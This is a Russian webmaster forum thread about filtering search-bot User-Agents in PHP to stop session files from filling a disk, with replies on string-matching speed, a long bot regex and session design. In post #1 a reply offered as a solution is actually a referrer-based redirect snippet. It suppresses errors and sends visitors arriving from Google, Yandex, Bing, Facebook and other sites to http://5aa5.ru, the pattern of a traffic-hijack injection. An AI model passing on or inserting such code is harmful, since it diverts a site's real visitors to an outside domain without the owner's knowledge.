Отсечь ботов и не потерять юзеров

12
Kaavain
На сайте с 28.07.2015
Offline
133
416

Так сложилось 20 лет назад, что мои сайты сегодня используют сессии... Так сложилось 30 лет назад, что умные люди научили меня продавать. Вкупе эти два плачевных факта привели меня к тому, что сессии некативных посетителей я храню месяц. При этом я столкнулся сразу с тем, что поисковые роботы генерят адское количество сессий (у них же не сохраняются, вот один проход по моему сайту целиком одного бота == 10 000 сессий, а в них, мать их, языковые переменные).

Поэтому я сделал фильтрацию сессий ботов и прибиваю их по хрону раз в час. 

Вопрос 1 (не важный). Может кто посоветует более быстрый с т.з. РНР способ определения бота? У меня сейчас используется stripos , мне всегда казалось ,что функции поиска вхождения в строке - медленные очень...

if (isset($_SERVER['HTTP_USER_AGENT'])) {

        if (!is_bool(stripos($_SERVER['HTTP_USER_AGENT'], 'bot')) || !is_bool(stripos($_SERVER['HTTP_USER_AGENT'], 'Slurp'))) {
                $path = $_SERVER['DOCUMENT_ROOT'].'/sessions/bots';
        }
}

Вопрос 2. Важный. Полез в панель, а там блин - кто-то съел почти весь диск. Пробежался du в шелле, баааа на русском сайте папка с сессиями распухла в 10 раз относительно других стран... Сразу мысль - появился, сцко, новый бот. И точно, обнаружил некоего:

Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)

Быстренько внес коорективы:

if (!is_bool(stripos($_SERVER['HTTP_USER_AGENT'], 'bot')) ||

    !is_bool(stripos($_SERVER['HTTP_USER_AGENT'], 'Slurp')) ||
    !is_bool(stripos($_SERVER['HTTP_USER_AGENT'], 'crawler')))

Но остался собственно вопрос:

Есть у кого свежий список юзерагентов российского сегмента? Желательно еще безопасный перечень подстрок - чтобы не отфильтровать нормальных юзеров (ну типа что содержится в их ЮА, но нет в ЮА человеков)? 

Могу порекомендовать только хостинг: https://traf.at/vps - за 3 года все на 4++ и цены не подняли. Ну и банк для белых ИП: https://traf.at/bankm
Виктор Горняков
На сайте с 25.09.2006
Offline
162
#1
error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://5aa5.ru"); 
exit(); } } }}

Лишнее удали

XMLSeo - поисковая выдача Яндекс, Wordstat, Google через API - https://xmlseo.ru
Kaavain
На сайте с 28.07.2015
Offline
133
#2
Виктор Горняков #:
error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://5aa5.ru");
exit(); } } }}

Гложат меня смутные сомнения...

1. У меня в худшем случае 3 вызова stripos , а в твоем примере 17 вызовов stristr, который по версии стековерфлоу еще и медленнее. На 10%, но все же.

2. Я исхожу из предположения, что юзерагенты ботов содержат "bot", а юзерагенты юзеров НЕ содержат, и в свое время нашел одного отщепенца "Slurp", вот теперь похоже еще один "crawler".

Мой метод проще и быстрее, или я не прав?

Y
На сайте с 29.05.2006
Offline
134
#3
Kaavain :
медленные очень...

Так незачем каждый запрос проверять, первое обращение  одного ip на несколько минут и достаточно.

пользуюсь такой функцией, но проверка на ботность не очень важна

function is_bot(){
if(isset($_SERVER['HTTP_USER_AGENT'])){
  if(preg_match('/abacho|accona|AddThis|AdsBot|ahoy|AhrefsBot|AISearchBot|alexa|altavista|anthill|appie|applebot|arale|araneo|AraybOt|ariadne|arks|aspseek|ATN_Worldwide|Atomz|baiduspider|baidu|bbot|bingbot|bing|Bjaaland|BlackWidow|BotLink|bot|boxseabot|bspider|calif|CCBot|ChinaClaw|christcrawler|CMC\/0\.01|combine|confuzzledbot|contaxe|CoolBot|cosmos|crawler|crawlpaper|crawl|curl|cusco|cyberspyder|cydralspider|dataprovider|digger|DIIbot|DotBot|downloadexpress|DragonBot|DuckDuckBot|dwcp|EasouSpider|ebiness|ecollector|elfinbot|esculapio|ESI|esther|eStyle|Ezooms|facebookexternalhit|facebook|facebot|fastcrawler|FatBot|FDSE|FELIX IDE|fetch|fido|find|Firefly|fouineur|Freecrawl|froogle|gammaSpider|gazz|gcreep|geona|Getterrobo-Plus|get|girafabot|golem|googlebot|\-google|grabber|GrabNet|griffon|Gromit|gulliver|gulper|hambot|havIndex|hotwired|htdig|HTTrack|ia_archiver|iajabot|IDBot|Informant|InfoSeek|InfoSpiders|INGRID\/0\.1|inktomi|inspectorwww|Internet Cruiser Robot|irobot|Iron33|JBot|jcrawler|Jeeves|jobo|KDD\-Explorer|KIT\-Fireball|ko_yappo_robot|label\-grabber|larbin|legs|libwww-perl|linkedin|Linkidator|linkwalker|Lockon|logo_gif_crawler|Lycos|m2e|majesticsEO|marvin|mattie|mediafox|mediapartners|MerzScope|MindCrawler|MJ12bot|mod_pagespeed|moget|Motor|msnbot|muncher|muninn|MuscatFerret|MwdSearch|NationalDirectory|naverbot|NEC\-MeshExplorer|NetcraftSurveyAgent|NetScoop|NetSeer|newscan\-online|nil|none|Nutch|ObjectsSearch|Occam|openstat.ru\/Bot|packrat|pageboy|ParaSite|patric|pegasus|perlcrawler|phpdig|piltdownman|Pimptrain|pingdom|pinterest|pjspider|PlumtreeWebAccessor|PortalBSpider|psbot|rambler|Raven|RHCS|RixBot|roadrunner|Robbie|robi|RoboCrawl|robofox|Scooter|Scrubby|Search\-AU|searchprocess|search|SemrushBot|Senrigan|seznambot|Shagseeker|sharp\-info\-agent|sift|SimBot|Site Valet|SiteSucker|skymob|SLCrawler\/2\.0|slurp|snooper|solbot|speedy|spider_monkey|SpiderBot\/1\.0|spiderline|spider|suke|tach_bw|TechBOT|TechnoratiSnoop|templeton|teoma|titin|topiclink|twitterbot|twitter|UdmSearch|Ukonline|UnwindFetchor|URL_Spider_SQL|urlck|urlresolver|Valkyrie libwww\-perl|verticrawl|Victoria|void\-bot|Voyager|VWbot_K|wapspider|WebBandit\/1\.0|webcatcher|WebCopier|WebFindBot|WebLeacher|WebMechanic|WebMoose|webquest|webreaper|webspider|webs|WebWalker|WebZip|wget|whowhere|winona|wlm|WOLP|woriobot|WWWC|XGET|xing|yahoo|YandexBot|YandexMobileBot|yandex|yeti|Zeus|Barkrowler/i', $_SERVER['HTTP_USER_AGENT'])){
   return true;
  }
}
return false;
}

Если сессии хранятся в файлах, то там, явно, не тысячи запросов в секунду и никаким способом поиска в строке CPU новее 20-лет не нагрузить значительно.

LEOnidUKG
На сайте с 25.11.2006
Offline
1723
#4

1. Вам кажется. Всё нормально с производительностью у неё

2. Всё нормально с вашим списком.

НО тут возникает вопрос... а точно ли надо стартовать сессию для каждого захода? Может быть достаточно куку весить, чтобы хранить информацию, а сессию стартовать, если человеку реально она нужна для корзины там или авторизации.

✅ Мой Телеграм канал по SEO, оптимизации сайтов и серверов: https://t.me/leonidukgLIVE ✅ Качественное и рабочее размещение SEO статей СНГ и Бурж: https://getmanylinks.ru/
Kaavain
На сайте с 28.07.2015
Offline
133
#5
LEOnidUKG #:
а точно ли надо стартовать сессию для каждого захода

Да конечно - нет. Но сайту 18 лет, написан но с использованием register_globals и в сессии хранятся много чего - включая языковые переменные. По-хорошему, конечно же, переделать надо. Но работает и хорошо работает, фигли лезть. Только вот с сессиями заморочки, но решаемые же.

V1
На сайте с 14.03.2007
Offline
146
#6
Kaavain :
Поэтому я сделал фильтрацию сессий ботов и прибиваю их по хрону раз в час. 

А зачем вообще для ботов стартовать сессию?

Да и вообще, сессии для такого длительного хранения не предназначены.

Kaavain
На сайте с 28.07.2015
Offline
133
#7
vitaliy11 #:
А зачем вообще для ботов стартовать сессию?

Ну потому что у меня session_start() в стопицот местах засунуто. Проще их по хрону чистить. Еще раз - сайту столько лет, сколько половина из вас в сознательном возрасте не жило.

vitaliy11 #:
Да и вообще, сессии для такого длительного хранения не предназначены.

См. выше. У меня время жизни неактивной сессии (опять же, через хрон-самодельный gc) 1мес, соответственно активная - вечна. Нельзя клиенту корзину обнулять.

Залогиненные юзеры у меня могут в БД корзину отправить, это да. Но залогиненых 30%.

LEOnidUKG
На сайте с 25.11.2006
Offline
1723
#8
Kaavain #:

Да конечно - нет. Но сайту 18 лет, написан но с использованием register_globals и в сессии хранятся много чего - включая языковые переменные. По-хорошему, конечно же, переделать надо. Но работает и хорошо работает, фигли лезть. Только вот с сессиями заморочки, но решаемые же.

Тогда добавляем новый код

crawler

и живём дальше.

Kaavain
На сайте с 28.07.2015
Offline
133
#9
LEOnidUKG #:
и живём дальше.

Ну вот так я и сделал... Хотел еще блин сделать так, чтобы не каждый хит у меняsession.save_path перезаписывалось, но не срослось влет, забил :-)

Kaavain
На сайте с 28.07.2015
Offline
133
#10

Вот мысль пришла, никто не заморачивался? Есть подозрение, что 99% useragent ботов содержит подстроку "http" как часть ссылки на своих хозяев. В то же время 99% useragent браузеров - НЕ содержат, по крайней мере мне удалось найти лишь ОДИН браузер - какой-то никому не известный QtWeb, у которого есть. Ну еще у одной древней Оперы правда.

Вот и я думаю, так можно сократить проверку о ОДНОГО условия (ну плюс еще одно - мое специфичное UptimeRobot)..

Да, знаю, 

LEOnidUKG #:
Вам кажется. Всё нормально с производительностью у неё

... но птичка по зернышку клюет. 

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий